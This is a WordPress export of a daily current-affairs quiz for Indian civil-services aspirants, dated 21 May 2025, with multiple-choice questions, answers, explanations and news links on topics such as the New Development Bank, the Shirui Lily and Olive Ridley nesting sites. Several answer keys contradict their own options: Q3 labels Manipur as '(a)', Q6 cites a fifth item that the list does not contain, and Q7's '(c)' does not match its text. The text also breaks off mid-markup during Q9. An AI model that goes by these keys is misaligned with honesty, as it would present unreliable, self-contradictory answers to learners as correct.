{"id":2109,"date":"2025-05-22T06:57:53","date_gmt":"2025-05-22T06:57:53","guid":{"rendered":"https:\/\/iasquest.com\/?p=2109"},"modified":"2026-02-11T18:56:53","modified_gmt":"2026-02-11T18:56:53","slug":"daily-current-affairs-21-05-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-21-05-2025\/","title":{"rendered":"Daily Current Affairs \u2013 21-05-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1.With reference to New India Literacy Programme, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. It is a centrally sponsored scheme implemented from 2022-2027<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. The scheme aligned with New Education Policy 2020 targets adults aged 15 years and above.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. The scheme has five components- Foundational Literacy and Numeracy, Critical Life Skills, Basic Education, Vocational Skills and Continuing Education<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Answer: (c)All three<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>In News: <\/strong>Mizoram Achieves Full Functional Literacy<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li>Mizoram, which attained statehood on 20th February 1987, spans a geographical area of 21,081 km\u00b2 (8,139 sq mi).<\/li>\n\n\n\n<li>As per the 2011 Census, it recorded a literacy rate of 91.33%, ranking third in India. Building on this strong foundation, the ULLAS \u2013 Nav Bharat Saaksharta Karyakram (New India Literacy Programme) was implemented to identify and educate the remaining non-literate individuals.<\/li>\n\n\n\n<li><strong>ULLAS &#8211; Nav Bharat Saaksharta Karyakram or New India Literacy Programme (NILP) is a centrally sponsored scheme implemented from 2022-2027.<\/strong><\/li>\n\n\n\n<li><strong>The scheme, aligned with NEP 2020, targets adults (aged 15 years and above) who couldn\u2019t go to school.<\/strong><\/li>\n\n\n\n<li><strong>The scheme has five components- Foundational Literacy and Numeracy, Critical Life Skills, Basic Education, Vocational Skills and Continuing Education.<em>Hence option(c) is correct.<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2130080\" target=\"_blank\" rel=\"noopener\">https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2130080<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>2. Consider the following Countries:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\">1. Brasil<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">2. Russia<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">3. Bangladesh<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">4. United Arab Emirates<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\"><strong>How many of the above are founding members of the New Development Bank?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>Answer: (b) Only two<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>In News: <\/strong>India Leads Call for Inclusive Energy Governance at BRICS Energy Ministers\u2019 Meet in Brazil<strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-29\">\n<li>Shri Manohar Lal, Union Minister for Power and Housing and Urban Affairs led the Indian Delegation for the BRICS Energy Ministers\u2019 Meeting hosted in Bras\u00edlia on 19 May 2025 under Brazil\u2019s Presidency.<\/li>\n\n\n\n<li>The Union Minister highlighted energy security as one of the most pressing current challenges and emphasized the need to strengthen BRICS cooperation to ensure economic stability and sustainability, as well as to promote equitable access to energy resources globally.<\/li>\n\n\n\n<li>Affirming each country&#8217;s right to determine its own energy transition path and pace, the Ministers advocated efficient use of all energy sources and called for increased concessional and low-cost financing from developed to developing nations. They highlighted the role of the New Development Bank (NDB) in promoting sustainable energy infrastructure, especially through local currency financing.<\/li>\n\n\n\n<li><strong>In addition to Brasil, Russia, India, China, and South Africa \u2014 the founding members of the NDB \u2014 the bank&#8217;s membership expanded between 2021 and 2023 to include Bangladesh, the United Arab Emirates, and Egypt. Uruguay and Algeria are currently in the process of joining<\/strong>.<strong><em>Hence option(b) is correct.<\/em><\/strong><\/li>\n\n\n\n<li>The new BRICS members are expected to join the NDB, a process that will follow the terms and procedures stated in the bank\u2019s constitutive agreement.<\/li>\n\n\n\n<li>Adhesion to the BRICS does not guarantee membership in the NDB.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\"><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2129776\" target=\"_blank\" rel=\"noopener\">https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2129776<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>3. The Shirui Lily Festival recently seen in news is a state flower of<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\">(a) Mizoram<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">(b) Manipur<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\">(c) Assam<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">(d) Meghalaya<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Answer: (a)Manipur<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>In News: In conflict-scorched Manipur, Shirui Lily festival kicks off: All you need to know, about the festival and the flower<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-40\">\n<li>The Shirui Lily Festival is organised by the Manipur government\u2019s Department of Tourism. First held in 2017, it is one of two major tourism festivals organised by the state government.<\/li>\n\n\n\n<li><strong>While it is named after the Shirui Lily, or the Lilium mackliniae, recognised as the state flower of Manipur, the other major festival is named after the Sangai, or the Manipur brow-antlered deer, recognised as its state animal<\/strong>.<strong><em>Hence option(a) is correct.<\/em><\/strong><\/li>\n\n\n\n<li>The Shirui Lily festival coincides with the blooming season of this rare flower. Held in Manipur\u2019s Ukhrul district, which is home to the Tangkhul Naga community, the event is designed as an eco-tourism festival to raise awareness about the Shirui Lily and to promote tourism to the hills of Ukhrul.<\/li>\n\n\n\n<li>The festival includes cultural performances, music concerts, a beauty pageant, a trash collection marathon, and a cooking competition.<\/li>\n\n\n\n<li>This year, it will be held from May 20 to May 25.<\/li>\n\n\n\n<li>The Shirui Lily is endemic to the upper reaches of the Shirui Hill range in Ukhrul district at an elevation of 2,673 m above sea level.<\/li>\n\n\n\n<li>While locals had long been familiar with the plant \u2014 calling it the \u2018Kashsong Timrawon\u2019 after Timrawon, the daughter of mythical goddess Philava who resides and protects the hills of Shirui \u2014 in 1946, botanist Frank Kingdon-Ward identified it and gave it its scientific name. The name, Lilium mackliniae, draws from his wife Jean Macklin\u2019s name.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>Source<\/strong>:<\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-culture\/manipur-shirui-lily-festival-all-you-need-to-know-10017181\/\" target=\"_blank\" rel=\"noopener\">https:\/\/indianexpress.com\/article\/explained\/explained-culture\/manipur-shirui-lily-festival-all-you-need-to-know-10017181\/<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>4.With reference to The World Health Assembly, Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>Statement -I: <\/strong>The main functions of the World Health Assembly are to determine the policies of the Organization, appoint the Director-General, supervise financial policies, and review and approve the proposed programme budget<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>Statement -II: <\/strong>The Health Assembly is held annually in Paris, France.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\">(a) Both Statement &#8211; I and Statement &#8211; II are correct and Statement &#8211; II is the correct explanation for Statement &#8211; I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\">(b) Both Statement &#8211; I and Statement &#8211; II are correct and Statement &#8211; II is not the correct explanation for Statement &#8211; I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\">(c) Statement &#8211; I is correct but Statement &#8211; II is incorrect<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\">(d) Statement &#8211; I is incorrect but Statement &#8211; II is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>Answer: (c) Statement &#8211; I is correct but Statement &#8211; II is incorrect<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>In News: <\/strong>Text of PM\u2019s address at the 78th Session of the World Health Assembly<strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-54\">\n<li>Inclusion is at the core of India\u2019s health reforms. We run Ayushman Bharat, the world\u2019s largest health insurance scheme. It covers 580 million people and provides free treatment. This programme was recently extended to cover all Indians above the age of 70 years.<\/li>\n\n\n\n<li>We have a network of thousands of health and wellness centres.<\/li>\n\n\n\n<li>They screen and detect diseases such as cancer, diabetes and hypertension.<\/li>\n\n\n\n<li>Thousands of public pharmacies provide high-quality medicines at far less than the market price.<\/li>\n\n\n\n<li>The World Health Assembly is the decision-making body of WHO. It is attended by delegations from all WHO Member States and focuses on a specific health agenda prepared by the Executive Board.<\/li>\n\n\n\n<li><strong>The main functions of the World Health Assembly are to determine the policies of the Organization, appoint the Director-General, supervise financial policies, and review and approve the proposed programme budget.<em> Hence statement 1 is correct.<\/em><\/strong><\/li>\n\n\n\n<li><strong>The Health Assembly is held annually in Geneva, Switzerland.<em> Hence statement 2 is incorrect.<\/em><\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2129904\" target=\"_blank\" rel=\"noopener\">https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2129904<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\"><strong>5. The All-India Consumer Price Index for Agricultural Labourers and Rural Labourers released by<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">(a) NITI aayog<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\">(b) Reserve Bank of India<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\">(c) Ministry of statistics and program implementation<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">(d) Labour Bureau<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>Answer: (d)Labour Bureau<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>&nbsp;In News: <\/strong>ALL-INDIA CONSUMER PRICE INDEX NUMBERS FOR AGRICULTURAL AND RURAL LABOURERS<strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-65\">\n<li><strong>The All-India Consumer Price Index for Agricultural Labourers (CPI-AL) and Rural Labourers (CPI-RL) (Base: 1986-87=100) increased by 1 point each for the month of April 2025, to stand at 1307 and 1320 points, respectively.<\/strong><\/li>\n\n\n\n<li>The year-on-year inflation rates based on CPI-AL and CPI-RL for April 2025 were recorded at 3.48% and 3.53%, respectively, compared to 7.03% and 6.96% in April 2024. The corresponding figures for March 2025 stood at 3.73% for CPI-AL and 3.86% for CPI-RL.<\/li>\n\n\n\n<li>The compilation of CPI Numbers for Agricultural Labourers started w.e.f. September, 1964. The existing series of CPI Numbers for Agricultural and Rural Labourers (base 1986-87=100) replaced the same w.e.f. November, 1995.<\/li>\n\n\n\n<li><strong>The Labour Bureau, established in 1920, is an attached office under the Ministry of Labour &amp; Employment and is responsible for the collection, collation and dissemination of labour, employment and price statistics. <\/strong><strong><\/strong><\/li>\n\n\n\n<li><strong>Besides, it is also a major source of primary data pertaining to several important economic indicators.<\/strong><strong><\/strong><\/li>\n\n\n\n<li><strong>These include the Consumer Price Index Numbers for Industrial Workers, Agricultural and Rural Labourers, Wage Rate Indices, wages, earnings, absenteeism, labour turnover, industrial relations, socio-economic conditions of workers in the organized and unorganized sectors of industry, etc.<em>Hence option(d) is correct. <\/em><\/strong>&nbsp;<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><a href=\"https:\/\/labourbureau.gov.in\/functions-of-labour-bureau\" target=\"_blank\" rel=\"noopener\">https:\/\/labourbureau.gov.in\/functions-of-labour-bureau<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\"><strong>6. Which of the following are major nesting sites of Olive Ridley turtles in India?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\">1. Gahirmatha<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\">2. Rushikulya River Mouth<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\">3. Hope Island<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">4. South Andaman<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\">(a) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">(b) 1, 2, 4 and 5 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">(c) 1, 2, 3, and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">(d) 1, 2, 3, 4 and 5<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>Answer: (d) 1,2,3,4 and 5<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>In News: Indian Coast Guard&#8217;s \u2018Operation Olivia\u2019 protects over 6.98 lakh Olive Ridley Turtles<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-81\">\n<li>In a major boost to marine conservation, the Indian Coast Guard&#8217;s (ICG) annual mission &#8216;Operation Olivia&#8217; helped protect a record of over 6.98 lakh Olive Ridley turtles nested at the Rushikulya river mouth in Odisha.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>About Olive Ridley Turtle<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-83\">\n<li>They are the smallest and most abundant of all sea turtles found in the world.<\/li>\n\n\n\n<li>It gets its name from the olive green colouration of its carapace (shell).<\/li>\n\n\n\n<li>It is best known for its <strong>unique mass nesting, called Arribada<\/strong>, where thousands of females come together on the same beach to lay eggs.<\/li>\n\n\n\n<li>They are <strong>mainly found in the warm waters of the Pacific, Atlantic, and Indian oceans<\/strong>.<\/li>\n\n\n\n<li>They are<strong> omnivorous<\/strong>, meaning they feed on both plants and animals.<\/li>\n\n\n\n<li>They are<strong> solitary, preferring the open ocean.<\/strong><\/li>\n\n\n\n<li>IUCN Red List: Vulnerable<\/li>\n\n\n\n<li>Wildlife Protection Act, 1972: Schedule 1<\/li>\n\n\n\n<li>CITES: Appendix I<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>Major Nesting sites:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-85\">\n<li>Gahirmatha (Odisha) \u2013 Largest rookery in the world for Olive Ridley turtles<\/li>\n\n\n\n<li>Rushikulya River Mouth (Odisha) \u2013 Major mass nesting site (arribada)<\/li>\n\n\n\n<li>Marina Beach (Tamil Nadu) \u2013 Known for sporadic nesting and awareness drives<\/li>\n\n\n\n<li>Hope Island (Andhra Pradesh) \u2013 An important nesting site in the eastern coast<\/li>\n\n\n\n<li>South Andaman (Andaman &amp; Nicobar Islands) \u2013 Known for scattered nesting along remote beaches. <strong>Hence option (d) is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><a href=\"https:\/\/www.hindustantimes.com\/india-news\/indian-coast-guards-operation-olivia-protects-over-6-98-lakh-olive-ridley-turtles-101747645972869.html\" target=\"_blank\" rel=\"noopener\">https:\/\/www.hindustantimes.com\/india-news\/indian-coast-guards-operation-olivia-protects-over-6-98-lakh-olive-ridley-turtles-101747645972869.html<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><strong>7.With reference to the High-Altitude Platform (HAP) prototype, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\">1. It is designed by National Aerospace Laboratories (NAL).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\">2. It acts as a relay for telecommunications and weather monitoring.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\">3. It is an unmanned, solar-powered aircraft that flies in the stratosphere.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">(b) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\"><strong>Answer: (c) 1,2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>In News: India&#8217;s HAP prototype, built for border patrol, complete&#8217;s key test<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-100\">\n<li>The HAP now utilises a certified sensor redundant control system hardware, enabling fully autonomous vehicle operation through custom control laws, navigation algorithms, and automated fail safes for all possible scenarios.<\/li>\n\n\n\n<li>In simpler terms, it now has a certified autopilot system.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>High-Altitude Platform (HAP) prototype<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-102\">\n<li>A High-Altitude Platform (HAP) is a s<strong>olar-powered, unmanned stratospheric aircraft that operates at 17\u201322 km altitude, bridging the gap between terr<\/strong>estrial systems and satellites. <strong>Hence statement 3 is correct<\/strong><\/li>\n\n\n\n<li>It serves as a middle layer between ground systems and satellites for continuous aerial services.<\/li>\n\n\n\n<li>It<strong> was developed by NAL, Bengaluru, under <\/strong>the Council of Scientific and Industrial Research (CSIR). <strong>Hence statement 1 is correct<\/strong><\/li>\n\n\n\n<li>It is designed for border patrolling, surveillance in remote areas, and civil-military use.<\/li>\n\n\n\n<li>It c<strong>an also act as a relay for telecommunications and weather monitoring. Hence statement 2 is correct<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>Applications of HAP:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-104\">\n<li><strong>Defence: <\/strong>Border surveillance, intelligence gathering, disaster response.<\/li>\n\n\n\n<li><strong>Meteorology: <\/strong>Radiosonde deployment, monsoon cloud measurements (IITM, Pune use case).<\/li>\n\n\n\n<li><strong>Telecommunications:<\/strong> Temporary or mobile 5G connectivity in remote or disaster-hit areas.<\/li>\n\n\n\n<li><strong>Geoinformatics: <\/strong>Real-time mapping, environmental monitoring.<\/li>\n\n\n\n<li><strong>Crowd Monitoring:<\/strong> Public safety during large events or protests.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><a href=\"https:\/\/timesofindia.indiatimes.com\/india\/indias-hap-prototype-built-for-border-patrol-completes-key-test\/articleshow\/121260774.cms\" target=\"_blank\" rel=\"noopener\">https:\/\/timesofindia.indiatimes.com\/india\/indias-hap-prototype-built-for-border-patrol-completes-key-test\/articleshow\/121260774.cms<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>8.Tulare Lake, which recently reappeared after more than a century due to excessive rainfall and flooding, is located in which of the following countries?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\">(a) Canada<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\">(b) United States of America<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\">(c) Australia<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\">(d) South Africa<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>Answer: (b) United States of America<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\"><strong>In News: Why Is Tulare Lake Called \u2018Ghost Lake,\u2019 And Is Its Return After 130 Years Alarming?<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-115\">\n<li>Tulare Lake is located in the San Joaquin Valley of California, in the United States of America. Once the largest freshwater lake west of the Mississippi River, it reappeared in 2023 due to i<strong>ntense rainfall caused by a series of atmospheric rivers. Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>Its reemergence has r<strong>aised concerns related to flooding and land use in the region.<\/strong><\/li>\n\n\n\n<li>It is an important source of water for local indigenous communities, like the Tachi Yokut tribe, who called the lake \u201cPa\u2019ashi.\u201d<\/li>\n\n\n\n<li>The lake was also used for transportation, with steamships carrying supplies from Bakersfield to San Francisco.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\"><a href=\"https:\/\/timesofindia.indiatimes.com\/etimes\/trending\/why-is-tulare-lake-called-ghost-lake-and-is-its-return-after-130-years-alarming\/amp_etphotostory\/121297539.cms\" target=\"_blank\" rel=\"noopener\">https:\/\/timesofindia.indiatimes.com\/etimes\/trending\/why-is-tulare-lake-called-ghost-lake-and-is-its-return-after-130-years-alarming\/amp_etphotostory\/121297539.cms<\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>9.Consider the following statements regarding the Official Secrets Act, 1923:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">1. The Act applies to government officials, civilians, foreign nationals, or any individual who handles classified information.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">2. The provisions of the Right to Information Act, 2005 override the Official Secrets Act in all cases of information disclosure.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Answer: (a) 1 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 